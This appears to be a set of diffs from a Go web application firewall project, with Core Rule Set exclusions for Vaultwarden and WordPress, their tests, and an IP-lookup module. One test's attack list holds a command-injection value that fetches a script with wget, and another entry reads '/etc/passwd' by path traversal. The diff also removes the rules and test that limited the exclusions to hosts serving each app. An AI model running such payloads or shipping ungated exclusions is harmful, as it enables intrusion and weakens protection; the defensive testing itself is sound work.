||||||
/alice/tools/pulls/posters?q=docker-compose.yml
|
|
||||||
/alice/tools/issues/search?q=docker-compose.yml
|
|
||||||
/alice/tools/issues/suggestions?q=docker-compose.yml
|
|
||||||
/-/admin/actions/runners?q=docker-compose.yml
|
|
||||||
/user/settings/actions/runners?q=docker-compose.yml
|
|
||||||
/org/acme/settings/actions/runners?q=docker-compose.yml
|
|
||||||
/alice/tools/settings/actions/runners?q=docker-compose.yml
|
|
||||||
/-/admin/users?q=docker-compose.yml
|
|
||||||
/-/admin/orgs?q=docker-compose.yml
|
|
||||||
/-/admin/repos?q=docker-compose.yml&sort=recentupdate
|
|
||||||
/-/admin/repos/unadopted?search=true&q=docker-compose.yml
|
|
||||||
/-/admin/emails?q=docker-compose.yml
|
|
||||||
/-/admin/packages?q=docker-compose.yml&type=
|
|
||||||
/explore/topics/search?q=install-script.sh
|
|
||||||
/pulls?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
|
|
||||||
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=install-script.sh
|
|
||||||
/issues/search?q=install-script.sh
|
|
||||||
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=install-script.sh&page=1&limit=15&mode=&archived=false
|
|
||||||
/user/search_candidates?q=install-script.sh
|
|
||||||
/notifications/watching?q=install-script.sh&sort=recentupdate
|
|
||||||
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
|
|
||||||
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
|
|
||||||
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=install-script.sh
|
|
||||||
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
|
|
||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=install-script.sh&search_mode=exact
|
|
||||||
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=install-script.sh
|
|
||||||
/org/acme/teams/-/search?q=install-script.sh
|
|
||||||
/acme?q=install-script.sh&sort=recentupdate
|
|
||||||
/alice/-/code?q=install-script.sh&search_mode=exact
|
|
||||||
/alice/-/projects?state=open&q=install-script.sh
|
|
||||||
/alice/-/packages/generic/tools-cli/versions?q=install-script.sh&sort=created_desc
|
|
||||||
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=install-script.sh&sort=created_desc
|
|
||||||
/alice/tools/tags?q=install-script.sh
|
|
||||||
/alice/tools/milestones?state=open&q=install-script.sh
|
|
||||||
/alice/tools/milestone/1?q=install-script.sh
|
|
||||||
/alice/tools/projects?state=open&q=install-script.sh
|
|
||||||
/alice/tools/packages?q=install-script.sh&type=
|
|
||||||
/alice/tools/issues/posters?q=install-script.sh
|
|
||||||
/alice/tools/pulls/posters?q=install-script.sh
|
|
||||||
/alice/tools/issues/search?q=install-script.sh
|
|
||||||
/alice/tools/issues/suggestions?q=install-script.sh
|
|
||||||
/-/admin/actions/runners?q=install-script.sh
|
|
||||||
/user/settings/actions/runners?q=install-script.sh
|
|
||||||
/org/acme/settings/actions/runners?q=install-script.sh
|
|
||||||
/alice/tools/settings/actions/runners?q=install-script.sh
|
|
||||||
/-/admin/users?q=install-script.sh
|
|
||||||
/-/admin/orgs?q=install-script.sh
|
|
||||||
/-/admin/repos?q=install-script.sh&sort=recentupdate
|
|
||||||
/-/admin/repos/unadopted?search=true&q=install-script.sh
|
|
||||||
/-/admin/emails?q=install-script.sh
|
|
||||||
/-/admin/packages?q=install-script.sh&type=
|
|
||||||
/explore/topics/search?q=release%20notes
|
|
||||||
/pulls?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
|
|
||||||
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=release%20notes
|
|
||||||
/issues/search?q=release%20notes
|
|
||||||
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=release%20notes&page=1&limit=15&mode=&archived=false
|
|
||||||
/user/search_candidates?q=release%20notes
|
|
||||||
/notifications/watching?q=release%20notes&sort=recentupdate
|
|
||||||
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
|
|
||||||
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
|
|
||||||
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=release%20notes
|
|
||||||
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
|
|
||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=release%20notes&search_mode=exact
|
|
||||||
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=release%20notes
|
|
||||||
/org/acme/teams/-/search?q=release%20notes
|
|
||||||
/acme?q=release%20notes&sort=recentupdate
|
|
||||||
/alice/-/code?q=release%20notes&search_mode=exact
|
|
||||||
/alice/-/projects?state=open&q=release%20notes
|
|
||||||
/alice/-/packages/generic/tools-cli/versions?q=release%20notes&sort=created_desc
|
|
||||||
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=release%20notes&sort=created_desc
|
|
||||||
/alice/tools/tags?q=release%20notes
|
|
||||||
/alice/tools/milestones?state=open&q=release%20notes
|
|
||||||
/alice/tools/milestone/1?q=release%20notes
|
|
||||||
/alice/tools/projects?state=open&q=release%20notes
|
|
||||||
/alice/tools/packages?q=release%20notes&type=
|
|
||||||
/alice/tools/issues/posters?q=release%20notes
|
|
||||||
/alice/tools/pulls/posters?q=release%20notes
|
|
||||||
/alice/tools/issues/search?q=release%20notes
|
|
||||||
/alice/tools/issues/suggestions?q=release%20notes
|
|
||||||
/-/admin/actions/runners?q=release%20notes
|
|
||||||
/user/settings/actions/runners?q=release%20notes
|
|
||||||
/org/acme/settings/actions/runners?q=release%20notes
|
|
||||||
/alice/tools/settings/actions/runners?q=release%20notes
|
|
||||||
/-/admin/users?q=release%20notes
|
|
||||||
/-/admin/orgs?q=release%20notes
|
|
||||||
/-/admin/repos?q=release%20notes&sort=recentupdate
|
|
||||||
/-/admin/repos/unadopted?search=true&q=release%20notes
|
|
||||||
/-/admin/emails?q=release%20notes
|
|
||||||
/-/admin/packages?q=release%20notes&type=
|
|
||||||
/alice/tools/tags?q=%2Fbin%2Fsh
|
|
||||||
/alice/tools/packages?q=%2Fbin%2Fsh&type=
|
|
||||||
/-/admin/packages?q=%2Fbin%2Fsh&type=
|
|
||||||
/alice/tools/packages?q=org.apache.commons.logging&type=
|
|
||||||
/-/admin/packages?q=org.apache.commons.logging&type=
|
|
||||||
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
|
|
||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
|
|
||||||
/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE
|
|
||||||
|
|
||||||
# Pages, raw files and edit pages of files, and the API's call for their
|
# Pages, raw files and edit pages of files, and the API's call for their
|
||||||
# contents.
|
# contents.
|
||||||
/owner/repo/src/branch/main/package.json
|
/owner/repo/src/branch/main/package.json
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
|
# The thirteenth change: on Vaultwarden's paths, some fields skip the rules that
|
||||||
# refused ordinary Vaultwarden requests there. They are the fields where
|
# refused ordinary Vaultwarden requests there. They are the fields where
|
||||||
# Vaultwarden receives a name, a password hint or an email address in plain
|
# Vaultwarden receives a name, a password hint or an email address in plain
|
||||||
# text, and the names of uploaded files. Each exclusion runs with the request,
|
# text, and the names of uploaded files. Each exclusion runs with the request,
|
||||||
@@ -17,14 +17,6 @@
|
|||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3
|
# 932260: python3
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_vaultwarden. It
|
|
||||||
# sets it while SWW_APPS is unset, or lists vaultwarden for the request's
|
|
||||||
# hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_vaultwarden itself.
|
|
||||||
SecRule &TX:app_vaultwarden "@eq 0" \
|
|
||||||
"id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
|
|
||||||
|
|
||||||
# Names and password hints, in JSON bodies, skip the four rules:
|
# Names and password hints, in JSON bodies, skip the four rules:
|
||||||
# name: signing up, editing the account's profile, and creating or renaming
|
# name: signing up, editing the account's profile, and creating or renaming
|
||||||
# an organization or a group, "python3 .htaccess team"
|
# an organization or a group, "python3 .htaccess team"
|
||||||
@@ -132,5 +124,3 @@ SecRule REQUEST_FILENAME "@rx ^/admin/?$" \
|
|||||||
ctl:ruleRemoveTargetById=942540;ARGS:token,\
|
ctl:ruleRemoveTargetById=942540;ARGS:token,\
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:token,\
|
ctl:ruleRemoveTargetById=942550;ARGS:token,\
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:token"
|
ctl:ruleRemoveTargetById=944150;ARGS:token"
|
||||||
|
|
||||||
SecMarker END_VAULTWARDEN
|
|
||||||
@@ -9,8 +9,6 @@ import (
|
|||||||
"slices"
|
"slices"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
@@ -31,23 +29,6 @@ const (
|
|||||||
// vaultwardenEmail is a JSON body that sends an address in email.
|
// vaultwardenEmail is a JSON body that sends an address in email.
|
||||||
const vaultwardenEmail = `{"email":"VALUE"}`
|
const vaultwardenEmail = `{"email":"VALUE"}`
|
||||||
|
|
||||||
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
giteaHost: {gitea}, otherHost: {"vaultwarden"},
|
|
||||||
})
|
|
||||||
|
|
||||||
// An address for the data breach report, which only Vaultwarden's fixes
|
|
||||||
// let through.
|
|
||||||
report := get(vaultwardenBreachReport + "python3%40example.com")
|
|
||||||
|
|
||||||
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
|
|
||||||
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
|
|
||||||
}
|
|
||||||
|
|
||||||
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
||||||
// request that sends it, and its body, with VALUE where the field's value
|
// request that sends it, and its body, with VALUE where the field's value
|
||||||
// goes.
|
// goes.
|
||||||
@@ -87,53 +68,18 @@ var vaultwardenNameFields = []vaultwardenField{
|
|||||||
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
||||||
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
|
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
|
||||||
http.MethodPut,
|
{http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
|
||||||
vaultwardenProfile,
|
|
||||||
jsonBody,
|
|
||||||
`{"name":"VALUE","culture":"en-US"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
vaultwardenPassword,
|
|
||||||
jsonBody,
|
|
||||||
`{"masterPasswordHint":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
http.MethodPost, "/api/organizations", jsonBody,
|
http.MethodPost, "/api/organizations", jsonBody,
|
||||||
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
|
`{"name":"VALUE","billingEmail":"billing@example.com"}`,
|
||||||
},
|
},
|
||||||
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
|
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
|
||||||
{
|
{http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
|
||||||
http.MethodPost,
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
|
||||||
vaultwardenOrganization + "/groups",
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
|
||||||
jsonBody,
|
{http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
||||||
`{"name":"VALUE"}`,
|
{http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
vaultwardenSettings,
|
|
||||||
jsonBody,
|
|
||||||
`{"invitation_org_name":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
vaultwardenSettings,
|
|
||||||
jsonBody,
|
|
||||||
`{"smtp_from_name":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
vaultwardenSecurityKey,
|
|
||||||
jsonBody,
|
|
||||||
`{"id":1,"name":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPut,
|
|
||||||
vaultwardenSecurityKey,
|
|
||||||
jsonBody,
|
|
||||||
`{"id":1,"name":"VALUE"}`,
|
|
||||||
},
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// vaultwardenAddressFields hold every field of a body that skips 930120,
|
// vaultwardenAddressFields hold every field of a body that skips 930120,
|
||||||
@@ -145,18 +91,8 @@ var vaultwardenAddressFields = []vaultwardenField{
|
|||||||
http.MethodPost, "/identity/connect/token", formData,
|
http.MethodPost, "/identity/connect/token", formData,
|
||||||
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
|
"grant_type=password&username=VALUE&password=example&scope=api+offline_access",
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPost, "/identity/accounts/prelogin/password", jsonBody, vaultwardenEmail},
|
||||||
http.MethodPost,
|
{http.MethodPost, vaultwardenSignUp, jsonBody, `{"email":"VALUE","name":"Alice"}`},
|
||||||
"/identity/accounts/prelogin/password",
|
|
||||||
jsonBody,
|
|
||||||
vaultwardenEmail,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
vaultwardenSignUp,
|
|
||||||
jsonBody,
|
|
||||||
`{"email":"VALUE","name":"Alice"}`,
|
|
||||||
},
|
|
||||||
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
|
{http.MethodPost, vaultwardenFinishSignUp, jsonBody, vaultwardenEmail},
|
||||||
{
|
{
|
||||||
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
http.MethodPost, vaultwardenFinishSignUp, jsonBody,
|
||||||
@@ -170,84 +106,34 @@ var vaultwardenAddressFields = []vaultwardenField{
|
|||||||
http.MethodPost, vaultwardenPassword, jsonBody,
|
http.MethodPost, vaultwardenPassword, jsonBody,
|
||||||
`{"authenticationData":{"salt":"VALUE"}}`,
|
`{"authenticationData":{"salt":"VALUE"}}`,
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPost, vaultwardenPassword, jsonBody, `{"unlockData":{"salt":"VALUE"}}`},
|
||||||
http.MethodPost,
|
|
||||||
vaultwardenPassword,
|
|
||||||
jsonBody,
|
|
||||||
`{"unlockData":{"salt":"VALUE"}}`,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
|
http.MethodPost, "/api/accounts/key-management/rotate-user-account-keys", jsonBody,
|
||||||
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
|
`{"accountUnlockData":{"masterPasswordUnlockData":{"email":"VALUE"}}}`,
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPost, "/api/accounts/password-hint", jsonBody, vaultwardenEmail},
|
||||||
http.MethodPost,
|
{http.MethodPost, "/api/accounts/email-token", jsonBody, `{"newEmail":"VALUE"}`},
|
||||||
"/api/accounts/password-hint",
|
|
||||||
jsonBody,
|
|
||||||
vaultwardenEmail,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/api/accounts/email-token",
|
|
||||||
jsonBody,
|
|
||||||
`{"newEmail":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
http.MethodPost, "/api/emergency-access/invite", jsonBody,
|
http.MethodPost, "/api/emergency-access/invite", jsonBody,
|
||||||
`{"email":"VALUE","type":0}`,
|
`{"email":"VALUE","type":0}`,
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"billingEmail":"VALUE"}`},
|
||||||
http.MethodPut,
|
|
||||||
vaultwardenOrganization,
|
|
||||||
jsonBody,
|
|
||||||
`{"billingEmail":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
|
http.MethodPost, vaultwardenOrganization + "/users/invite", jsonBody,
|
||||||
`{"emails":["alice@example.com","VALUE"],"type":2}`,
|
`{"emails":["alice@example.com","VALUE"],"type":2}`,
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from":"VALUE"}`},
|
||||||
http.MethodPost,
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_username":"VALUE"}`},
|
||||||
vaultwardenSettings,
|
{http.MethodPost, vaultwardenSettings, jsonBody, `{"org_creation_users":"VALUE"}`},
|
||||||
jsonBody,
|
|
||||||
`{"smtp_from":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
vaultwardenSettings,
|
|
||||||
jsonBody,
|
|
||||||
`{"smtp_username":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
vaultwardenSettings,
|
|
||||||
jsonBody,
|
|
||||||
`{"org_creation_users":"VALUE"}`,
|
|
||||||
},
|
|
||||||
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
|
{http.MethodPost, "/admin/invite", jsonBody, vaultwardenEmail},
|
||||||
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
|
{http.MethodPost, "/admin/test/smtp", jsonBody, vaultwardenEmail},
|
||||||
{
|
{http.MethodPost, "/api/two-factor/send-email-login", jsonBody, vaultwardenEmail},
|
||||||
http.MethodPost,
|
{http.MethodPost, "/api/two-factor/send-email", jsonBody, vaultwardenEmail},
|
||||||
"/api/two-factor/send-email-login",
|
|
||||||
jsonBody,
|
|
||||||
vaultwardenEmail,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
http.MethodPost,
|
|
||||||
"/api/two-factor/send-email",
|
|
||||||
jsonBody,
|
|
||||||
vaultwardenEmail,
|
|
||||||
},
|
|
||||||
{
|
{
|
||||||
http.MethodPut, "/api/two-factor/email", jsonBody,
|
http.MethodPut, "/api/two-factor/email", jsonBody,
|
||||||
`{"email":"VALUE","token":"123456"}`,
|
`{"email":"VALUE","token":"123456"}`,
|
||||||
},
|
},
|
||||||
{
|
{http.MethodPost, "/api/auth-requests", jsonBody, `{"email":"VALUE","type":0}`},
|
||||||
http.MethodPost,
|
|
||||||
"/api/auth-requests",
|
|
||||||
jsonBody,
|
|
||||||
`{"email":"VALUE","type":0}`,
|
|
||||||
},
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// vaultwardenBreachReport is the data breach report, which sends an address
|
// vaultwardenBreachReport is the data breach report, which sends an address
|
||||||
@@ -313,7 +199,7 @@ func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
var vaultwardenAttacks = []string{
|
var vaultwardenAttacks = []string{
|
||||||
injection,
|
injection,
|
||||||
scriptTag,
|
scriptTag,
|
||||||
shellCommand,
|
"; wget http://example.com/x.sh",
|
||||||
"../../etc/passwd",
|
"../../etc/passwd",
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -370,12 +256,7 @@ func TestVaultwardenExclusionsAreNarrow(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, refused.body)
|
got, _ := inspectBody(t, crs, r, refused.body)
|
||||||
if got.Score < vaultwardenThreshold {
|
if got.Score < vaultwardenThreshold {
|
||||||
t.Errorf(
|
t.Errorf("POST %s %s let through: %+v", refused.target, refused.body, got)
|
||||||
"POST %s %s let through: %+v",
|
|
||||||
refused.target,
|
|
||||||
refused.body,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -411,8 +292,7 @@ func TestVaultwardenAdminTokenPasses(t *testing.T) {
|
|||||||
func masterPasswordHashes(count int) []string {
|
func masterPasswordHashes(count int) []string {
|
||||||
const size, seed = 32, 288
|
const size, seed = 32, 288
|
||||||
|
|
||||||
//nolint:gosec // a fixed sample
|
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
|
||||||
random := rand.New(rand.NewPCG(seed, seed))
|
|
||||||
|
|
||||||
hashes := make([]string, count)
|
hashes := make([]string, count)
|
||||||
|
|
||||||
@@ -460,15 +340,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
|||||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||||
}
|
}
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, sent.r, body); len(
|
if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
|
||||||
got.RuleIDs,
|
t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
|
||||||
) != 0 {
|
|
||||||
t.Errorf(
|
|
||||||
"POST %s %v set off rules: %+v",
|
|
||||||
sent.r.target,
|
|
||||||
sent.names,
|
|
||||||
got,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -477,9 +350,7 @@ func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
encrypted := vaultwardenUpload(
|
encrypted := vaultwardenUpload("2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=")
|
||||||
"2.4Hw+ulOz7BLrP+NSaLKhGw==|9nlpuuYHog6rpJ=|XLsf=",
|
|
||||||
)
|
|
||||||
|
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
|
vaultwardenCipher + "/attachment/ec4c8ed74f6d3c56443a",
|
||||||
|
|||||||
@@ -1,17 +1,10 @@
|
|||||||
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
|
# The ninth change: on WordPress's paths, some fields skip the rules that refused
|
||||||
# ordinary WordPress requests there. Each exclusion runs with the request, before
|
# ordinary WordPress requests there. Each exclusion runs with the request, before
|
||||||
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
||||||
# rules. Each comment names a request the rule refused. An exclusion on a field
|
# rules. Each comment names a request the rule refused. An exclusion on a field
|
||||||
# of a body applies only when the query has no parameter of that name, so it
|
# of a body applies only when the query has no parameter of that name, so it
|
||||||
# matters only while SWW_WAF_BODY_LIMIT is set.
|
# matters only while SWW_WAF_BODY_LIMIT is set.
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_wordpress. It sets
|
|
||||||
# it while SWW_APPS is unset, or lists wordpress for the request's hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_wordpress itself.
|
|
||||||
SecRule &TX:app_wordpress "@eq 0" \
|
|
||||||
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
|
|
||||||
|
|
||||||
# WordPress takes a call to its REST API at any of four addresses:
|
# WordPress takes a call to its REST API at any of four addresses:
|
||||||
# /wp-json/wp/v2/posts/1
|
# /wp-json/wp/v2/posts/1
|
||||||
# /index.php/wp-json/wp/v2/posts/1
|
# /index.php/wp-json/wp/v2/posts/1
|
||||||
@@ -322,5 +315,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
|
|||||||
# so skips 932340 there.
|
# so skips 932340 there.
|
||||||
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
|
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
|
||||||
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
|
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
|
||||||
|
|
||||||
SecMarker END_WORDPRESS
|
|
||||||
@@ -26,7 +26,7 @@ type FileParams struct {
|
|||||||
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
|
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
|
||||||
// (SWW_LOOKUP_DB_PATH).
|
// (SWW_LOOKUP_DB_PATH).
|
||||||
Path string
|
Path string
|
||||||
// Now tells the time, normally time.Now in UTC.
|
// Now tells the time, normally time.Now.
|
||||||
Now func() time.Time
|
Now func() time.Time
|
||||||
// ProcessLog receives each reading of the file, and why a replacement
|
// ProcessLog receives each reading of the file, and why a replacement
|
||||||
// of it cannot be read.
|
// of it cannot be read.
|
||||||
@@ -236,11 +236,7 @@ func read(path string) (*maxminddb.Reader, error) {
|
|||||||
|
|
||||||
reader, err := maxminddb.OpenBytes(data)
|
reader, err := maxminddb.OpenBytes(data)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf(
|
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
|
||||||
"SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w",
|
|
||||||
path,
|
|
||||||
err,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return reader, nil
|
return reader, nil
|
||||||
|
|||||||
@@ -26,21 +26,11 @@ const (
|
|||||||
testClient = "203.0.113.9/32"
|
testClient = "203.0.113.9/32"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(
|
func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
germany := lookuptest.Network{
|
germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"}
|
||||||
ASN: "AS64496",
|
northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"}
|
||||||
ASName: "Example Net",
|
|
||||||
Country: "DE",
|
|
||||||
}
|
|
||||||
northKorea := lookuptest.Network{
|
|
||||||
ASN: "AS64511",
|
|
||||||
ASName: "Other Net",
|
|
||||||
Country: "KP",
|
|
||||||
}
|
|
||||||
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
||||||
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
||||||
testNetblock: germany,
|
testNetblock: germany,
|
||||||
@@ -72,13 +62,7 @@ func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(
|
|||||||
Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
|
Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
|
||||||
Answered: now,
|
Answered: now,
|
||||||
}) {
|
}) {
|
||||||
t.Errorf(
|
t.Errorf("%s has the answer %+v, want %+v, answered %s", client, got, want, now)
|
||||||
"%s has the answer %+v, want %+v, answered %s",
|
|
||||||
client,
|
|
||||||
got,
|
|
||||||
want,
|
|
||||||
now,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -138,9 +122,7 @@ func TestFileThatCannotBeReadIsAnError(t *testing.T) {
|
|||||||
// reading due by then is done. The test sends the changes itself, as the
|
// reading due by then is done. The test sends the changes itself, as the
|
||||||
// watch of a directory cannot run in a bubble.
|
// watch of a directory cannot run in a bubble.
|
||||||
|
|
||||||
func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
|
func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -155,8 +137,7 @@ func TestReplacementCopiedOverTheFileInTwoPartsIsReadOnlyWhole(
|
|||||||
other := filepath.Join(dir, "replacement.mmdb")
|
